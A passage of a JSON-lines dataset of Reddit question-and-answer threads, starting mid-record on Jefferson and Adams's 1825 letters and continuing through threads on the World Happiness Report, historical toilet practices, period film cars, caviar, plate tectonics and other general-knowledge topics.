got [was to say](_URL_5_): \"No one rejoices more sincerely than I do at the fav[ora]ble acc[oun]t of your health announced in the papers.\"\n\nInterestingly, on January 8, 1825, Jefferson wrote [a letter to William Short](_URL_3_) where he offhandedly accused both John Adams and John Quincy Adams of being monarchists (an accuation that Jefferson quite freely threw around against any and all Federalists). Yet, of course, by this time, he was quite friendly with the senior Adams, and on the very same day, [he wrote to John Adams](_URL_9_) soliciting his anxieties over the pending election:\n\n >  \"This presidential election has given me few anxieties. With you this must have been impossible, independently of the question whether we are at last to end our days under a civil or a military government?\"\n\nAdams replied [on January 22](_URL_1_), saying he found himself to be surprisingly at ease:\n\n >  \"The presidential election has given me less anxiety than I, myself could have imagined. The next administration will be a troublesome one to whomsoever it falls. And our John has been too much worn to contend much longer with conflicting factions. I call him our John, because when you was at Cul de sac at Paris, he appeared to me to be almost as much your boy as mine, I have often speculated upon the consequences that would have ensued from my takeing your advice, to send him to William and Mary College in Virginia for an Education.\"\n\nJefferson wrote back [on February 15](_URL_7_), congratulating Adams' for his son's victory, and setting his mind at ease about the prospect of any sort of violent discord in the country as a result that Adams had feared in his last letter:\n\n >  \"I sincerely congratulate you on the high gratific[atio]n which the issue of the late election must have afforded you. It must excite ineffable feelings in the breast of a father to have lived to see a son to whose educ[atio]n  &  happiness his life has been devoted so eminently distinguished by the voice of his country. Nor do I see any reason to suppose the next adm[inistratio]n will be so difficult as in your favor of Jan. 22. you seemed to expect. So deeply are the principles of order, and of obedience to law impressed on the minds of our citizens generally that I am persuaded there will be as immediate an acquiescence in the will of the majority as if Mr. Adams had been the choice of every man. The scrib[b]lers in newspapers may for a while express their disapp[oint]m[en]t in angry squibs; but these will evaporate without influencing the public functionaries nor will they prevent their harmonising with their associates in the transaction of public affairs.\"\n\nAdams responded on [February 25](_URL_8_) thanking Jefferson for the words:\n\n >  \"Every line from you exhilarates my spirits and gives me a glow of pleasure\u2014but your kind congratulations are a solid comfort to my heart. The good-natured and good-humoured acquiescence of the friends of all the candidates gives me a comfortable hope that your prediction may be fulfilled, that the ensuing administration will not be so difficult as in a former letter I had apprehended.\"\n\n**cont'd...**"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://founders.archives.gov/documents/Jefferson/98-01-02-4316", "https://founders.archives.gov/documents/Adams/99-02-02-7939", "https://founders.archives.gov/documents/Adams/99-03-02-4498", "https://founders.archives.gov/documents/Jefferson/98-01-02-4848", "https://founders.archives.gov/documents/Jefferson/98-01-02-4620", "https://founders.archives.gov/documents/Jefferson/98-01-02-4558", "https://founders.archives.gov/documents/Jefferson/98-01-02-4617", "https://founders.archives.gov/documents/Adams/99-02-02-7950", "https://founders.archives.gov/documents/Adams/99-02-02-7962", "https://founders.archives.gov/documents/Adams/99-02-02-7936", "https://founders.archives.gov/documents/Adams/99-03-02-4472"]]}
{"q_id": "1m3j8m", "title": "how is the 'world happiness report' calculated?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1m3j8m/how_is_the_world_happiness_report_calculated/", "answers": {"a_id": ["cc5fojy", "cc5jvy8"], "score": [6, 3], "text": ["It's a hard thing to quantify, but one way to do so is through surveys. These are the questions:\n1. Overall, how satisfied are you with life as a whole these days? (1-10)\n2. Overall, to what extent do you feel the things you do in your life are worthwhile? (1-10)\n3. How about happy? (0-10)\n4. How about worried? (0-10)\n5. How about depressed? (0-10) \n\nThen they factor in some other data: \n-Demographics: age, gender, place of birth, marital status (legal and social marital status), family type, number of children, household size, and geographic information\n-Material conditions: household income, consumption, wealth, housing conditions, and measures of material deprivation\n-Quality of life: employment status, health status, work/life balance, education and skills, social connections, civic engagement and governance, environmental quality, and personal security \n-Psychological measures: aspirations and expectations about the future, which form part of the frame of reference that individuals use when \nevaluating their lives or reporting their feelings.\n\nThen they use a formula, which I couldn't find, to calculate the \"happiness\".\nI used this source, which you can read through if you need additional data: _URL_0_", "yeah buddy i'm from colombia the second happiest country in the world :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://unsdsn.org/files/2013/09/WorldHappinessReport2013_online.pdf"], []]}
{"q_id": "1of6nh", "title": "How did women historically go bathroom when they wore giant skirts with petticoats?", "selftext": "Sorry if this is juvenile sounding question.  I was reading about medieval hygiene and the article talked about chamber pots.    I know that at least for nobility women\u2019s clothing was so elaborate that they needed help to put in on and off.  What I want to know is how would a women use the restroom when they were dressed during the day in giant skirts and petticoats.  Did they take some of the clothes off, or were they helped by servants in some way? \n\nAlso what did people use instead of toilet paper?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1of6nh/how_did_women_historically_go_bathroom_when_they/", "answers": {"a_id": ["ccrfl94", "ccrfs1g", "ccrfu45", "ccrg33y", "ccrhms0", "ccrt0o6"], "score": [603, 560, 86, 67, 29, 15], "text": ["There's a series by English historian Lucy Worsley about the evolution of rooms in the English house (kitchen, bedroom, bathroom, and living room) and the  episode on bathrooms should have some answers for you. [Here's the link](_URL_0_). I thought it was pretty funny and kind of horrifying that the court in Versailles would just find a corner and do their business. The women would just slip a chamber pot underneath their skirts and go for it. ", "This has been discussed on this forum before, but I cannot find the thread. The short answer is that they used a bourdaloue, a small vessel they could sneak under their dresses. Since they didn't wear underwear, there was no need to take anything off.\n\nTwo Nerdy History Girls cover the subject one of their blog posts [here](_URL_1_). And [here](_URL_2_) you can see it in use.\n\nEDIT: As far as toilet paper, people used whatever they had--old paper, strips of cloth, even pottery shards. Rabelais jokingly writes about it in [*Gargantua and Pantagruel*](_URL_0_), chapter 13:\n\n\"I have, answered Gargantua, by a long and curious experience, found out a means to wipe my bum, the most lordly, the most excellent, and the most convenient that ever was seen. What is that? said Grangousier, how is it? I will tell you by-and-by, said Gargantua. Once I did wipe me with a gentle-woman's velvet mask, and found it to be good; for the softness of the silk was very voluptuous and pleasant to my fundament. Another time with one of their hoods, and in like manner that was comfortable. At another time with a lady's neckerchief, and after that I wiped me with some ear-pieces of hers made of crimson satin, but there was such a number of golden spangles in them (turdy round things, a pox take them) that they fetched away all the skin of my tail with a vengeance. Now I wish St. Antony's fire burn the bum-gut of the goldsmith that made them, and of her that wore them! This hurt I cured by wiping myself with a page's cap, garnished with a feather after the Switzers' fashion.\n\n\"Afterwards, in dunging behind a bush, I found a March-cat, and with it I wiped my breech, but her claws were so sharp that they scratched and exulcerated all my perinee. Of this I recovered the next morning thereafter, by wiping myself with my mother's gloves, of a most excellent perfume and scent of the Arabian Benin. After that I wiped me with sage, with fennel, with anet, with marjoram, with roses, with gourd-leaves, with beets, with colewort, with leaves of the vine-tree, with mallows, wool-blade, which is a tail-scarlet, with lettuce, and with spinach leaves. All this did very great good to my leg. Then with mercury, with parsley, with nettles, with comfrey, but that gave me the bloody flux of Lombardy, which I healed by wiping me with my braguette. Then I wiped my tail in the sheets, in the coverlet, in the curtains, with a cushion, with arras hangings, with a green carpet, with a table-cloth, with a napkin, with a handkerchief, with a combing-cloth; in all which I found more pleasure than do the mangy dogs when you rub them. Yea, but, said Grangousier, which torchecul did you find to be the best? I was coming to it, said Gargantua, and by-and-by shall you hear the tu autem, and know the whole mystery and knot of the matter. I wiped myself with hay, with straw, with thatch-rushes, with flax, with wool, with paper, but,\n\n  Who his foul tail with paper wipes,\n\n  Shall at his ballocks leave some chips.\"\n", "According to \"Dressing a Nation\" by Cynthia Overback Bix, underpants weren't added until the 1840s, and didn't have a crotch seam. Before that, all you wore under it all was a sleeveless shift that got lifted up along with all the petticoats. After the underpants started to be worn, you opened the drawers- they were called drawers, according to Bix- at the split down the underside and did your business. \n\nPeople still used paper. \n\nThe first commercial toilet paper was produced by Joseph Gayetty of New York (I found this in \"THe Hidden History of Delaware County: Tales from Cobb's Creek to the Brandywine,\" by Mark E. Dixon,\") and it was moistened with aloe because it was intended as a medicated treatment for people with rectal problems, as an alternative to the newspapers and catalogue pages used by people at the time. The Scott family came out with theirs in the 1870's. According to \"Water for Gotham\" by Gerard T. Koeppel, \"Gayetty's Medicated Paper\" was fifty cents for 500 sheets and it was manila hemp pape. Before designated paper was produced, people used newspaper, catalogue pages, etcetera, and it would often be strung on a string or placed on a shelf.  \n\n", "I can't speak to the medieval period, but I know that by the Victorian period women's undergarments (underneath [several layers of slips, petticoats, and other underskirts](_URL_1_)) consisted of a pair of short white underdrawers with an open crotch seam. \n\nEven though the drawers were put on before the corset and then laced into the corset such that getting them off would take about 15 minutes (and more than that to get them back on), the open seam allowed a woman to squat pretty much when/where-ever was appropriate and urinate or defecate without removing so much as a shoelace. In fact, the voluminous skirts hid pretty much everything as she did so - kind of like a self-contained port-a-potty.\n\nA quick search turns up [this note](_URL_3_): \"For most women, split drawers were a necessity, because with all the layers they couldn\u2019t pull down their drawers to use a chamberpot, much less pull them back up again, particularly when a tight corset was added to the outfit.\" (Although the heroine mentioned in these pages is fictional, the articles section is a great resource for Victorian-era questions.) Also on that page, the author mentions that before about 1800, most women eschewed drawers in favor of hose (think long socks, not our modern pantyhose), stockings, and petticoats, but there's no source cited for this assertion. It's backed up by the first sentence on _URL_2_'s [article about female undergarments](_URL_0_): \"During the Regency era women began wearing lower undergarments.  From the 1820s onwards...\" \n\nWhile I can't answer your question about toilet paper, I do know that the drawers (and most underclothing) were always white and minimally- or un-adorned, so that it could be scrubbed often (with harsh lye soap) and stains could be removed more easily.\n\nSource: Spent several years re-enacting the Victorian period, including lectures on women's fashions during the period.", "Be sure to also check out our sections on [Toilet Hygiene] (_URL_0_) and [\"How did women deal with menstruation\"](_URL_1_) in the Popular Questions wiki.", "Forgive me if this does not meet the criteria for this subreddit, but OP might be interested in a poem written in 1732 about a young man's horror at discovering his lady's private toilet. The poem goes into great detail about what he finds, with humorous undertones of his mounting outrage that his beloved is a human being. It is titled [\"The Lady's Dressing Room\" by Jonathan Swift.](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/watch?v=inoVg5a1kps&amp;feature=c4-overview-vl&amp;list=PLE42FE815C9D0EF51"], ["https://en.wikipedia.org/wiki/Gargantua_and_Pantagruel", "http://twonerdyhistorygirls.blogspot.com/2010/06/useful-necessary-bourdaloue.html", "http://i78.servimg.com/u/f78/15/98/71/52/aaa_fr10.jpg"], [], ["http://www.fashion-era.com/drawers-pants-combinations-knickers-fashion.htm", "http://victorianeracnr.blogspot.com/2011/01/fashion.html", "fashion-era.com", "http://www.katetattersall.com/?p=1842"], ["http://www.reddit.com/r/AskHistorians/wiki/health#wiki_toilet_hygiene", "http://www.reddit.com/r/AskHistorians/wiki/health#wiki_how_did_women_deal_with_menstruation.3F"], ["http://andromeda.rutgers.edu/~jlynch/Texts/dressing.html"]]}
{"q_id": "2yc9nb", "title": "how can comcast \"block\" hbo go on the ps4?", "selftext": "And what does this have to do with Sony and Comcast negotiating?\n\nHow is this even legal, since what's being blocked isn't illegal? Blocking torrents or something would be a different story, but can't HBO or Comcast subscribers sue Comcast since their essentially selling a half baked internet package since they restrict what the user can use the internet for?\n\nSource of question: _URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2yc9nb/eli5_how_can_comcast_block_hbo_go_on_the_ps4/", "answers": {"a_id": ["cp87l8r", "cp8dyx6"], "score": [24, 104], "text": ["They're not blocking them per say. HBO Go wants to ensure that users have a cable subscription. So when HBO asks Comcast if this PS4 user has a subscription they just don't answer.\n\nIn technical terms there's nothing wrong with what's happening, it's just a massively jerk move refuse to confirm or deny some one is a customer.", "Imagine Comcast is your Mom. HBO Go needs your mom to sign its permission slip. Your Mom politely declines and says they will get around to it in the future. Then when HBO Go leaves the room, your mom gets a sack of potatoes and beats you with them and and yells in your face AM I NOT GOOD ENOUGH FOR YOU?!"]}, "title_urls": [], "selftext_urls": ["http://www.theverge.com/2015/3/5/8156025/comcast-blocks-hbo-go-sony-ps4"], "answers_urls": [[], []]}
{"q_id": "63eznh", "title": "why is starry night considered a masterpiece?", "selftext": "I am curious as to how and why Starry Night by Vincent van Gogh arose to its level of fame today. What makes it special?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/63eznh/eli5_why_is_starry_night_considered_a_masterpiece/", "answers": {"a_id": ["dftjhls", "dftmjmr"], "score": [5, 10], "text": ["Well, Vincent Van Gogh is a very well known artist. He's one of the most prolific, influential, and well-known artists of the last 200 years. He was also mentally ill - he cut off his own ear in a fit of rage, spent some time in an asylum, and killed himself at age 37.\n\nStarry Night is probably his most famous painting aside from the obvious fact that it's beautiful and instantly recognizable - but also the context of its creation. He painted it while he was recovering in an asylum in France after the aforementioned ear cutting. The landscape was inspired by the view from his bedroom window. \n\nSo why is it so well known and so famous? It's basically a \"greatest hit.\" Famous and influential artist's best known work. Kind of like how people who know almost nothing about classical music have still heard Beethoven's 5th", "Well... um... big question, but, to me Van Gogh is the finest painter of them all. Certainly the most popular, great painter of all time. The most beloved, his command of colour most magnificent. He transformed the pain of his tormented life into ecstatic beauty. Pain is easy to portray, but to use your passion and pain to portray the ecstasy and joy and magnificence of our world, no one had ever done it before. Perhaps no one ever will again. To my mind, that strange, wild man who roamed the fields of Provence was not only the world's greatest artist, but also one of the greatest men who ever lived."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1dl7i7", "title": "in movies set in the past, how do they get all of the period correct vehicles?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1dl7i7/in_movies_set_in_the_past_how_do_they_get_all_of/", "answers": {"a_id": ["c9rdtty", "c9rfari", "c9rh1zv", "c9rh8f0", "c9rhuba", "c9rih45", "c9rk3om", "c9rksbh", "c9rl27p", "c9rmhyq", "c9rs6xj", "c9rv5y8", "c9rwr7u"], "score": [29, 28, 12, 11, 21, 8, 4, 2, 2, 2, 2, 2, 2], "text": ["When they were filming Everybody Loves Whales, a movie set a few decades ago, they were looking for extras at the local mall. They were also looking to rent out vehicles from the appropriate time. The extras were not paid, but people were compensated for the use of their vehicles. ", "Collectors etc. A movie was filmed in my hometown that was supposed to be set in the '60s. They used cars from collectors nationally, and also sent out requests to the community so that local cars were used, too. Funny because Robert Duvall was one of the actors and they had to find a period specific car that was automatic, because he can't drive a manual. :p", "There's actually a department called Picture Cars, who's job it is to find the cars, a lot of the time they go through classic car associations or collectors and rent/insure or they buy them and sell them afterwards. For 80's/90's cars they often hire extras and pay for their car as a kit rental type deal. The Picture Car department also is responsible for driving hero cars if the actor can't or isn't seen in the shot, and supplying doubles/triples of cars for stunts and spfx work. ", "In addition to the answers about renting from owners and the Picture Cars department, some of the larger studios also have their own fleet, which is usually made up of cars that were bought to be used regularly on TV series. \n\nAnother thing to keep in mind is this -- if it doesn't move in the shot, there's a good chance that it's just the body and chassis with the engine and all that other hidden stuff removed. If the car blows up, gets crushed, or is otherwise destroyed onscreen, then that good chance becomes 100%.", "In skyfall they used 3d printers for the aston martin.", "Go to Cuba. ", "Sometimes the put out a casting call for a particular year of car sometimes color and kind. My crazy ex roommate used to go to casting calls with her horrible 1994 geo metro. \nEdit: words. ", "Actual owners. One of my friends was really big into the whole \"fast and furious\" thing and had a crazy souped up car like in the movies. When they were filming, I believe the second one, he signed up as a \"car extra\". Kind of cool.", "For big productions, the design team might even fully restore or replicate classic vehicles from scratch but this is time consuming, labor intensive and expensive as hell. Looks like that's what they did for the first Captain America movie, and then auctioned off the results:\n\n_URL_0_", "As said, collectors well either let producers like 20th Century Fox etc to use their cars, no doubt under contractual agreement over X year/years.\n\nOn the flip side, companies like Apple pay producers to have their tech in films, which is why iPhones and Macs seem to be the only bloody phones or PCs in films these days.\n\nI particularly love when you see a film where the Apple logo has been covered up, yet it's still blatantly an apple product.\n\nI maybe have gone on a tangent here...", "I've read, once, long ago, that besides existing inventory and sourcing and renting from owners, if a car simply doesn't exist, there are a couple companies that can make any car look like any other car; this is primarly used for scenes where a classic car that is also rare is going to get destroyed.\n\nIn some cases, you only need a car to look genuine enough...", "I'm currently filming a period movie, set in the 80's-late 90's. If I was in NYC I would call my picture car guy and tell him what I need and when but since I'm filming in Arkansas I've been going around to parking lots and used car dealerships. I leave notes on people's windshields telling them about the movie and asking if they're interested in having their vehicle be in a movie. When/if they call back we make a deal, I fill out paperwork so their car is piggybacked by my production company's insurance (just in case) and they bring it to set on the day. Sometimes if I need it consecutive days I'll get them a rental car. Most people are interested and really excited to be paid to do nothing. On this movie in particular I found a car but it was the wrong color (tan) so the owner agreed to let me paint it (baby blue). It's definitely an interesting job to have.", "Aside from the renting/borrowing/CGI/3-D printer options given, large productions that involve destroying what would otherwise be an irreplaceable or very expensive vehicle will often simply build them. They may get a working model, dismantle it, copy it piece-by-piece and then destroy/film the copies."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], ["http://screenrant.com/captain-america-movie-cars-auction-pauly-98692/all/1/"], [], [], [], []]}
{"q_id": "1vqvfl", "title": "could it ever be possible to spot life in other galaxies without traveling there?", "selftext": "Twenty years ago we didn't even know if there were planets outside our solar system. Now we've found a thousand of them. Considering how far our technology has come in just two decades, could our telescopes ever get so good that we could see evidence of life in other solar systems?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1vqvfl/eli5_could_it_ever_be_possible_to_spot_life_in/", "answers": {"a_id": ["ceux0b8", "ceuxa9c"], "score": [3, 2], "text": ["In other solar systems, yes. In other galaxies, probably not, unless they were deliberately broadcasting their presence at a considerable level of power. As it stands, outside of a deliberate signal or colossal-scale engineering, our only way of detecting life is to look for unstable compounds in the atmospheres of planets. And even that can only be done with a very few nearby systems and only to very weak accuracy.", "Other galaxies are far away.  You may think other stars in our galaxy are far away but they're just a short trip next door compared to other galaxies.\n\nLight travels 9.46 trillion km in one year.  That means 1 light year is 9.46 trillion km.  The nearest star to our solar system is 4.3 light years away.  \n\nThe nearest galaxies to the Milky Way are hundreds of thousands of light years away.  The closest large galaxy is over 2 million light years away.\n\nPut it this way.  The Hubble could barely see a football stadium on the Moon and it's only about 360,000km to 400,000km away.  You'd need a pretty big telescope to directly see evidence of life in other galaxies. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1ji5nz", "title": "why is caviar so expensive and highly regarded in the culinary world?", "selftext": "The best answer I could find is because the eggs come from a specific sturgeon that are rare/hard to catch, so is it just supply/demand? Which begs another question, why is there a demand when I hear a majority of people say it tastes pretty disgusting? Is it really just a status symbol? I don't get it.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ji5nz/eli5why_is_caviar_so_expensive_and_highly/", "answers": {"a_id": ["cbewdz3", "cbewx6s", "cbexpns", "cbf2b0b"], "score": [23, 42, 15, 6], "text": ["\"I hear a majority of people say it tastes pretty disgusting\" - how many of these people are from in and around the Black Sea? \n\nCaviar isn't expensive in Eastern Europe and is considered pretty damn tasty. Salmon roe is *extremely* common, eaten on sandwiches with butter. Sturgeon is more expensive..\n\n\n\n", "So from your title you're asking 2 different questions:\n\n* Why is caviar so expensive?\n\n* Why is it so highly regarded in the culinary world?\n\nTo answer question 1, you're partially correct that it's rare and also is a status symbol. However, there is also a great demand for cheaper caviar substitutes and caviar that is not traditionally from the caspian sturgeon.\n\nRegarding the second question about being highly regarded in the culinary world, I think (in the text elaborating your questions) are making some assumptions.\n\nRegarding the taste of caviar, just because you hear a lot of people say caviar is disgusting does not make it true for a majority of the population. Not to sound snooty here, but somehow I doubt the people you know who say it tastes bad have had real caviar, and instead had something spread on a cracker that the cruise ship people told them was caviar.\n\nSpeaking of snooty, I think you are confusing \"the culinary world\" with \"rich people.\" The culinary world centers around food and cooking. From my personal experience, I believe chefs don't place any special value on caviar, or at least any more than they would put on any other quality hard to find ingredient.\n\nI think you have an assumption that rich people do expensive things just because they are exclusive and expensive.\n\nTrue, there are some people who place all their value into brand names, status symbols, etc to show off their wealth. Why do you care what they think.\n\nMost often, caviar is served as a hors d'oerve. It's a nice snack in a small quantity, and people think it's tasty. By serving the host shows that they have money, taste, and they want their guests to have a good time (you can switch the order of importance however you want.)\n\nFinally, you don't always have to *get* something that other people like. I don't *get* Sherlock, but that doesn't mean that other aren't allowed to watch or like it and I don't resent them for watching or liking it. Whether I like that portion of the population is up to me on an individual basis.", "Caviar, (talking sturgeon caviar here) has a unique taste that most people love once they get used to it.  The first time you try it can be a once in a lifetime food experience.  Here's a little version of what it is like:  \n\n(Takes first bite of caviar):  \n\"Body\", talking to \"Brain\"\nBody:  \"Stop! Stop! It tastes really weird!  Maybe it's poison?  Spit it out! Spit it out!\"\n\nBrain: \"Uh, OK?\"\n\nBody:  \"No! No!  Wait! Just got back the analytics.  This stuff is crazy good for you.  Pure nutrients.  You like it!  Really you do!  You love it!\"\n\nBrain:  \"Hey, this stuff tastes strange but great.  I love it!\"\n\nThere you go.  Some people get the fastest flip flop from hate it to love it ever experienced when they first taste the stuff.  Most people end up loving it.  It is also rare.  High demand, low supply, that's what makes it expensive.", "I'm waiting for the guy who calls you out for saying \"begs the question\". I would do it, but I don't know when you're supposed to use it either."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "5ki4xq", "title": "prepaid cards you buy at stores", "selftext": "Okay, let's take a 1 year Xbox Live Gold card, costs around $60. When you buy that at a store, 7/11 for example, when does Microsoft get that money? Did they already get the $60 when 7/11 bought the prepaid cards? Do they get the money when you buy it at a store? Do they get the money when you redeem it? How does it work?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5ki4xq/eli5_prepaid_cards_you_buy_at_stores/", "answers": {"a_id": ["dbo540e"], "score": [20], "text": ["Microsoft gets the money when you buy it. Unlike other inventory items, they aren't pre purchased by the retailer. Microsoft sends out the cards at no charge. Then, when you purchase it the card is activated. The retailer gets the money from you and Microsoft gets money from them. \n\nThis is also why the cards are worthless when shoplifted -- if they aren't activated at the register they are nothing more than useless pieces of plastic. If you steal one, Microsoft is out a few cents and the retailer isn't out anything. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "fvtd7g", "title": "How can ancient structures that aligned with the sun at the equinox thousands of years ago still line up, given the movement of the land eg plate tectonics?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/fvtd7g/how_can_ancient_structures_that_aligned_with_the/", "answers": {"a_id": ["fml3x23", "fml5xgv", "fmlhvx3"], "score": [171, 12, 6], "text": ["**TL;DR:** Plates are moving too slow and none of these structures are old enough for this to matter.\n\n\n**Longer Answer:**\nThe first thing to consider are the rates involved. Plate motion is measured in mm or cm per year, e.g. this [map of absolute plate motion](_URL_4_), which is an estimate of the motion of plates with respect to a fixed reference frame. Some portions of some plates are moving multiple cm per year, but most are in the 1-2 cm/yr range, so let's pick a conservative (but high) rate of 2 cm/yr to use as a representative example. \n\nNext is the time range of interest. Someone with an archeological background might be able to provide more detail (or alternative examples), but from a quick perusal, it seems the oldest structures that are precisely aligned with some portion of the solar equinox/solstice positions date back to [~3000 BC (or 5000 years before present)](_URL_1_). So, at our high end conservative rate, we could expect that something constructed 5000 years ago could have moved 100 meters (~0.1 km). Even if we upped our ranges a lot and considered the maximum rate on our plate motion map of 10 cm/yr, the maximum distance traveled over 5000 years is ~0.5 km. \n\nThe final thing to consider is what kind of motion (and the magnitudes of motion) that would matter. Specifically, structures constructed to align with the sun at a particular time on a solstice/equinox rely on the position of the sun in the sky, so chiefly we are concerned with the [azimuth and elevation](_URL_2_) of the sun on these days. What this means is that motion of a plate would only really matter if it changed the latitude of the structure (e.g. this [visualization](_URL_6_) of the suns path for solstices and equinoxes show that these paths are the same for any place at the same latitude). Now, lets again assume worst case and our site is moving at the absolute max (10 cm/yr) and this is moving the site in a north-south direction exclusively. There are ~111.11 km per degree of latitude, so going back to our 0.5 km of motion, this would change the latitude by 0.0045 degrees, or 16.2 seconds, of latitude (for our original, high conservative case of 2 cm/yr, this is ~3.2 seconds). Now, we can play with a solar position calculator, [like this one](_URL_3_) and see that a change in latitude of this magnitude is essentially meaningless to the solar azimuth or elevation.\n\n**Bonus \"Plates Move on a Sphere\" Round:** In detail, because plates are moving on a sphere, their motion is best described as a [rotation around an Euler pole](_URL_5_). These rotations result in changes of latitude and longitude positions of places on plates, but they are also causing rotations. So, we can also consider an example where a site has not been translated sufficient distance for the solar azimuth or elevation to have changed and ask the question whether the place has been rotated sufficiently such that bearings laid out ~5000 years ago would no longer align with these angles. As before, rates are crucial to keep in mind. Here [is a table](_URL_0_) of rotation rates for plates from one particular plate model, measured in degrees per million years. As with the plate velocities, there is a good amount of variation, but alot of these are in the 0.5-5 degree per million years range. Over the 5000 years of interest, within that range we're looking at 0.0025-0.025 degrees of rotation, which again, is basically meaningless in this case.", "As the other detailed answer calculated, plate tectonics are insignificant for this over 5000 years. But I  am interested in another part of your question: which ancient structure do you think still lines up, after thousands of years? The pyramids don't line up the way they used to, Stonehenge doesn't line up,the Chaco canyon houses don't line up, so which structure are you thinking of? This is not because the ground moved, but because the whole Earth moved, changing where the North Pole pointed.", "To add to [this excellent and complete answer](_URL_0_), one thing you have to remember in geology is that even though basically everything in geology is very old, they can still operate on very different time scales from each other. This way of thinking is not immediately intuitive to most non-geoscientists and takes some effort to process.\n\nOrdinary life example: We consider a two-year-old house new because houses break down and become obsolete on time scales of decades to centuries. On the other hand, we would consider a two-year-old pizza to be extremely old because pizza decays over time scales of days to weeks.\n\nGeoscience example: Stonehenge is old on any human time scale (5000 years), but plate tectonics works on time scales of tens to hundreds of millions of years, so Stonehenge is almost completely unaffected by tectonics. On the other hand, natural soil formation takes place on time scales of decades to centuries, so we'd expect that the soil there may have changed significantly since Stonehenge was built."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://geoscience.wisc.edu/~chuck/MORVEL/NNRMRVL56_AVs.html", "https://en.wikipedia.org/wiki/Archaeoastronomy#Major_sites_of_archaeoastronomical_interest", "https://www.esrl.noaa.gov/gmd/grad/solcalc/azelzen.gif", "https://www.esrl.noaa.gov/gmd/grad/solcalc/azel.html", "http://www-udc.ig.utexas.edu/external/becker/ftp/maps/plate_tectonics_simple.morvel.nnr.1.png", "https://en.wikipedia.org/wiki/Plate_reconstruction#Euler_poles", "https://en.wikipedia.org/wiki/Sun_path#Visualization"], [], ["https://www.reddit.com/r/askscience/comments/fvtd7g/how_can_ancient_structures_that_aligned_with_the/fml3x23?utm_source=share&amp;utm_medium=web2x"]]}
{"q_id": "gxx6a", "title": "Do human bones conduct heat?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/gxx6a/do_human_bones_conduct_heat/", "answers": {"a_id": ["c1r3w8a", "c1r5fp4"], "score": [4, 4], "text": ["Yep.\n\nIs there a particular scenario you are asking about? Pretty much everything conducts heat to some degree. I'm wondering if there's another question you're trying to ask.", "I'm assuming since the chemical makeup is similar to bovine bones, the coefficient is ~[.58 W/m * K](_URL_0_)  which is a bit better than drywall."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.ncbi.nlm.nih.gov/pubmed/11334760"]]}
{"q_id": "eg0mdv", "title": "what does it mean when someone says horror is \u201ccampy\u201d?", "selftext": "I read it a lot. I don\u2019t get it, though. Does it mean tacky? Far fetched? What constitutes a campy horror film?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/eg0mdv/eli5_what_does_it_mean_when_someone_says_horror/", "answers": {"a_id": ["fc3m7zi", "fc3meej", "fc4161a", "fc4apfb"], "score": [12, 19, 2, 2], "text": ["Movies that are exaggerated to the point of hilarity. A movie you would describe as \"so bad its good\" would be campy", "It's exaggerated for the camera and humor, e.g. the Adam West Batman TV series was campy, but the new ones are not, they are serious.  Shaun of the Dead, Chucky and Army of Darkness are  campy horror movies, it as as much goofiness in it as it does horror, but not It and The Conjuring are not campy.", "Often times, the manners in which people die in horror movies are far beyond unrealistic and/or scientifically impossible, hence, campy.", "John Waters, one of the greatest camp filmmakers of all time, [explains camp](_URL_0_) on an episode of The Simpsons. It's not in the context of film, per se, but it's one of my favorite explanations of the concept."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://youtu.be/kdw9MmP2CEE?t=158"]]}
{"q_id": "etiaub", "title": "what is physical internet in supply chain and logistics?", "selftext": "How does it work and what are some examples? Is it currently being used or is it more of an idea for the future?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/etiaub/eli5_what_is_physical_internet_in_supply_chain/", "answers": {"a_id": ["ffgpgbc"], "score": [2], "text": ["The general idea is to apply lessons learned from the internet to supply chain management and shipping. Mainly this is the idea that those passing internet data back and forth don\u2019t need to know *what* is being transferred, there are just standardized packets which have all the necessary handling information in their header.\n\nFor shipping physical goods the idea is that you can just put whatever into a standardized container and everyone can handle it, rather than needing a shipping system that can deal with packages of arbitrary shape, size, and weight.\n\nThese concepts are currently being applied and standardizing shipping makes a lot of sense even outside this framing, so it seems a bit silly and pretentious to put it this way."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
